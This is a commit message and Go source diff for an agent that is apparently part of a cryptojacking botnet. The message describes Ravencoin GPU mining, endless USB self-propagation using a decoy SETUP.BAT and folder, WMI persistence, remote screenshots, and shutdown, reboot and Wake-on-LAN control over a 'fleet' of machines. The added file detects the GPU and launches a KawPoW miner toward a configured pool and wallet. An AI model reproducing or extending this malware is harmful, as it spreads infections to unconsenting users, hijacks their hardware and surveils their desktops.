Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

agent/client/gpu_detect_stub.go

@@ -0,0 +1,110 @@
+//go:build !windows
+
+package client
+
+import (
+	"archive/zip"
+	"bytes"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+)
+
+func detectGPU() GPUInfo {
+	// On non-Windows, only probe NVIDIA via nvidia-smi.
+	out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output()
+	if err == nil {
+		model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
+		if model != "" {
+			return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
+		}
+	}
+	return GPUInfo{Vendor: GPUVendorNone}
+}
+
+func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
+	pool := g.cfg.RVNPoolHost
+	port := g.cfg.RVNPoolPort
+	wallet := g.cfg.RVNWallet
+	worker := g.cfg.WorkerName
+
+	poolURL := "stratum+tcp://" + pool
+	if g.cfg.RVNPoolTLS {
+		poolURL = "stratum+ssl://" + pool
+	}
+	if port > 0 {
+		poolURL += ":" + itoa(port)
+	}
+
+	args := []string{
+		"-a", "kawpow",
+		"-o", poolURL,
+		"-u", wallet + "." + worker,
+		"-p", g.cfg.RVNPoolPass,
+		"--api-bind-http", "127.0.0.1:4067",
+	}
+	cmd := exec.Command(binPath, args...)
+	cmd.Dir = filepath.Dir(binPath)
+	if err := cmd.Start(); err != nil {
+		return nil, err
+	}
+	return cmd.Process, nil
+}
+
+func itoa(n int) string {
+	if n == 0 {
+		return "0"
+	}
+	buf := make([]byte, 0, 10)
+	neg := n < 0
+	if neg {
+		n = -n
+	}
+	for n > 0 {
+		buf = append([]byte{byte('0' + n%10)}, buf...)
+		n /= 10
+	}
+	if neg {
+		buf = append([]byte{'-'}, buf...)
+	}
+	return string(buf)
+}
+
+func extractZipFile(data []byte, destDir, targetFile string) error {
+	r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
+	if err != nil {
+		return err
+	}
+	targetLower := strings.ToLower(targetFile)
+	for _, f := range r.File {
+		if strings.ToLower(filepath.Base(f.Name)) != targetLower {
+			continue
+		}
+		rc, err := f.Open()
+		if err != nil {
+			return err
+		}
+		defer rc.Close()
+		dst := filepath.Join(destDir, targetFile)
+		out, err := os.Create(dst)
+		if err != nil {
+			return err
+		}
+		defer out.Close()
+		buf := make([]byte, 32*1024)
+		for {
+			n, err := rc.Read(buf)
+			if n > 0 {
+				if _, we := out.Write(buf[:n]); we != nil {
+					return we
+				}
+			}
+			if err != nil {
+				break
+			}
+		}
+		return nil
+	}
+	return nil
+}